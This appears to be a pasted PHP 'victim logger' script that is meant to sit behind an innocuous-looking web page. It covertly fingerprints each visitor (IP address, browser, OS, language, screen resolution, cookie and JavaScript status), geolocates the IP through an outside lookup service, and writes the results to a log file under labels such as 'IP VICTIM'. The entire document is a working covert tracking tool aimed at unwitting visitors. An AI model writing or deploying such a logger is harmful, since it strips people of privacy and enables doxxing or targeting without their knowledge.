· 6 years ago · Mar 03, 2020, 05:36 AM
1<html><!--Your Html Code--></html>
2
3<?php
4error_reporting(E_ERROR | E_PARSE);
5?>
6
7<?php
8
9
10$IP = $_SERVER['REMOTE_ADDR']; // Saves the IP
11$UA = $_SERVER['HTTP_USER_AGENT']; // Saves the User Agent
12$DATE = date('l jS \of F Y h:i:s A'); // GET DATE
13$tz = date_default_timezone_get(); // TIMEZONE
14$rem_host = $_SERVER['SERVER_NAME']; //SERVER NAME
15$serv_soft = $_SERVER['SERVER_SOFTWARE']; //Detect Type Server example : Apache \!/
16
17
18$user_agent = $_SERVER['HTTP_USER_AGENT'];
19
20#GET BROWSER FUNCTION
21function getBrowser()
22{
23 $u_agent = $_SERVER['HTTP_USER_AGENT'];
24 $bname = 'Unknown';
25 $platform = 'Unknown';
26 $version = "";
27
28
29 // Next get the name of the useragent yes seperately and for good reason
30 if (preg_match('/MSIE/i', $u_agent) && !preg_match('/Opera/i', $u_agent)) {
31 $bname = 'Internet Explorer';
32 $ub = "MSIE";
33 } elseif (preg_match('/Firefox/i', $u_agent)) {
34 $bname = 'Mozilla Firefox';
35 $ub = "Firefox";
36 } elseif (preg_match('/Chrome/i', $u_agent)) {
37 $bname = 'Google Chrome';
38 $ub = "Chrome";
39 } elseif (preg_match('/Safari/i', $u_agent)) {
40 $bname = 'Apple Safari';
41 $ub = "Safari";
42 } elseif (preg_match('/Opera/i', $u_agent)) {
43 $bname = 'Opera';
44 $ub = "Opera";
45 } elseif (preg_match('/Netscape/i', $u_agent)) {
46 $bname = 'Netscape';
47 $ub = "Netscape";
48 }
49
50 // finally get the correct version number
51 $known = array('Version', $ub, 'other');
52 $pattern = '#(?<browser>' . join('|', $known) .
53 ')[/ ]+(?<version>[0-9.|a-zA-Z.]*)#';
54 if (!preg_match_all($pattern, $u_agent, $matches)) {
55 // we have no matching number just continue
56 }
57
58 // see how many we have
59 $i = count($matches['browser']);
60 if ($i != 1) {
61 //we will have two since we are not using 'other' argument yet
62 //see if version is before or after the name
63 if (strripos($u_agent, "Version") < strripos($u_agent, $ub)) {
64 $version = $matches['version'][0];
65 } else {
66 $version = $matches['version'][1];
67 }
68 } else {
69 $version = $matches['version'][0];
70 }
71
72 // check if we have a number
73 if ($version == null || $version == "") {
74 $version = "?";
75 }
76
77 return array(
78 'userAgent' => $u_agent,
79 'name' => $bname,
80 'version' => $version,
81 'pattern' => $pattern
82 );
83}
84
85#GET OS FUNCTION
86function getOS()
87{
88 global $user_agent;
89
90 $os_platform = "Unknown OS Platform";
91
92 $os_array = array(
93 '/windows nt 10/i' => ' Windows NT 10(Windows 10)',
94 '/windows nt 6.3/i' => 'Windows NT 6.3(Windows 8.1)',
95 '/windows nt 6.2/i' => 'Windows NT 6.2(Windows 8)',
96 '/windows nt 6.1/i' => 'Windows NT 6.1(Windows 7)',
97 '/windows nt 6.0/i' => 'Windows NT 6.0(Windows Vista)',
98 '/windows nt 5.2/i' => 'Windows NT 5.2(Windows Server 2003/XP x64)',
99 '/windows nt 5.1/i' => 'Windows NT 5.1(Windows XP)',
100 '/windows xp/i' => 'Windows XP',
101 '/windows nt 5.0/i' => 'Windows NT 5.0(Windows 2000)',
102 '/windows me/i' => 'Windows ME',
103 '/win98/i' => 'Windows 98',
104 '/win95/i' => 'Windows 95',
105 '/win16/i' => 'Windows 3.11',
106 '/macintosh|mac os x/i' => 'Mac OS X',
107 '/mac_powerpc/i' => 'Mac OS 9',
108 '/linux/i' => 'Linux',
109 '/ubuntu/i' => 'Ubuntu',
110 '/iphone/i' => 'iPhone',
111 '/ipod/i' => 'iPod',
112 '/ipad/i' => 'iPad',
113 '/android/i' => 'Android',
114 '/blackberry/i' => 'BlackBerry',
115 '/webos/i' => 'Mobile'
116 );
117
118 foreach ($os_array as $regex => $value) {
119
120 if (preg_match($regex, $user_agent)) {
121 $os_platform = $value;
122 }
123
124 }
125
126 return array('os' => $os_platform);
127
128}
129
130#GET SYSTEM LANGUAGE FUNCTION
131function getUserLanguage()
132{
133 $langs = array();
134 if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) {
135// break up string into pieces (languages and q factors)
136 preg_match_all('/([a-z]{1,8}(-[a-z]{1,8})?)\s*(;\s*q\s*=\s*(1|0\.[0-9]+))?/i',
137 $_SERVER['HTTP_ACCEPT_LANGUAGE'], $lang_parse);
138 if (count($lang_parse[1])) {
139// create a list like â??enâ?? => 0.8
140 $langs = array_combine($lang_parse[1], $lang_parse[4]);
141// set default to 1 for any without q factor
142 foreach ($langs as $lang => $val) {
143 if ($val === '') $langs[$lang] = 1;
144 }
145// sort list based on value
146 arsort($langs, SORT_NUMERIC);
147 }
148 }
149//extract most important (first)
150 foreach ($langs as $lang => $val) {
151 break;
152 }
153//if complex language simplify it
154 if (stristr($lang, "-")) {
155 $tmp = explode("-", $lang);
156 $lang = $tmp[0];
157 }
158 return $lang;
159}
160
161function screenResolution()
162{
163 session_start();
164 if (isset($_SESSION['screen_width']) AND isset($_SESSION['screen_height'])) {
165 $res = $_SESSION['screen_width'] . 'x' . $_SESSION['screen_height'];
166 } else if (isset($_REQUEST['width']) AND isset($_REQUEST['height'])) {
167 $_SESSION['screen_width'] = $_REQUEST['width'];
168 $_SESSION['screen_height'] = $_REQUEST['height'];
169 header('Location: ' . $_SERVER['PHP_SELF']);
170 } else {
171 echo '<script type="text/javascript">window.location = "' . $_SERVER['PHP_SELF'] . '?width="+screen.width+"&height="+screen.height;</script>';
172 }
173 return $res;
174}
175
176function isJSenabled()
177{
178 if (!isset($_SESSION['js']) || $_SESSION['js'] == "") {
179 echo "<noscript><meta http-equiv='refresh' content='0;url=/get-javascript-status.php&js=0'> </noscript>";
180 $js = true;
181
182 } elseif (isset($_SESSION['js']) && $_SESSION['js'] == "0") {
183 $js = false;
184 $_SESSION['js'] = "";
185
186 } elseif (isset($_SESSION['js']) && $_SESSION['js'] == "1") {
187 $js = true;
188 $_SESSION['js'] = "";
189 }
190
191 if ($js) {
192 $enabled = 'Javascript is enabled';
193 } else {
194 $enabled = 'Javascript is disabled';
195 }
196 return $enabled;
197}
198
199function areCOOKIESenabled()
200{
201 setcookie("test_cookie", "test", time() + 3600, '/');
202 if (count($_COOKIE) > 0) {
203 $cookies = "Cookies are enabled.";
204 } else {
205 $cookies = "Cookies are disabled.";
206 }
207 return $cookies;
208}
209
210$location = "http://ip-api.com/json/" . $IP;
211$curl = curl_init();
212curl_setopt($curl, CURLOPT_URL, $location);
213curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
214$resultLocation = curl_exec($curl);
215curl_close($curl);
216
217
218$func = getBrowser();
219$func1 = getOS();
220
221$Browser = $func['name'] . " v." . $func['version'];
222$OS = $func1['os'];
223$SystemLanguage = getUserLanguage($lang);
224$Resolution = screenResolution($res);
225$Javascript = isJSenabled($enabled);
226$Cookie = areCOOKIESenabled($cookies);
227
228
229
230// IP Lookup API //
231//http://ip-api.com/json/
232
233
234
235
236
237$myfile = fopen("logs.txt", "w") or die("Unable to open file!");
238
239
240//SEND INFOS
241$msg .= "YOUR VICTIM LOGGED ON THE : " . $DATE . "\r\n";
242$msg .= "VICTIM COMPUTER NAME (-PHP 5.4) : " . gethostname() . "\r\n"; //Get Computer Username for less than php version 5.4
243$msg .= "VICTIM COMPUTER NAME (+PHP 5.4) : " . gethostbyaddr() ."\r\n"; //Get Computer Username higher than php version 5.4
244$msg .= "IP VICTIM : " . $IP . "\r\n";
245$msg .= "USER AGENT : " . $UA . "\r\n";
246$msg .= "REMOTE HOST : " . $rem_host . "\r\n";
247$msg .= "TYPE SERVER : " . $serv_soft . "\r\n";
248$msg .= "LATITUDE : " . $lat . "\r\n";
249$msg .= "LONGITUDE : " . $lon . "\r\n";
250$msg .= "CITY : " . $city . "\r\n";
251$msg.="GeoIp:\r\n";
252
253foreach(json_decode($resultLocation) as $key => $val){
254 $msg.="--".$key. "-- = ".$val."\r\n";
255}
256$msg .= "Browser name & Version : " . $Browser . "\r\n";
257$msg .= "Operating system : " . $OS . "\r\n";
258$msg .= "Screen Resolution : " . $Resolution . "\r\n";
259$msg .= "System language : " . $SystemLanguage . "\r\n";
260$msg .= "Javascript : " . $Javascript . "\r\n";
261$msg .= "Cookies : " . $Cookie . "\r\n";
262
263fwrite($myfile, $msg);
264
265?>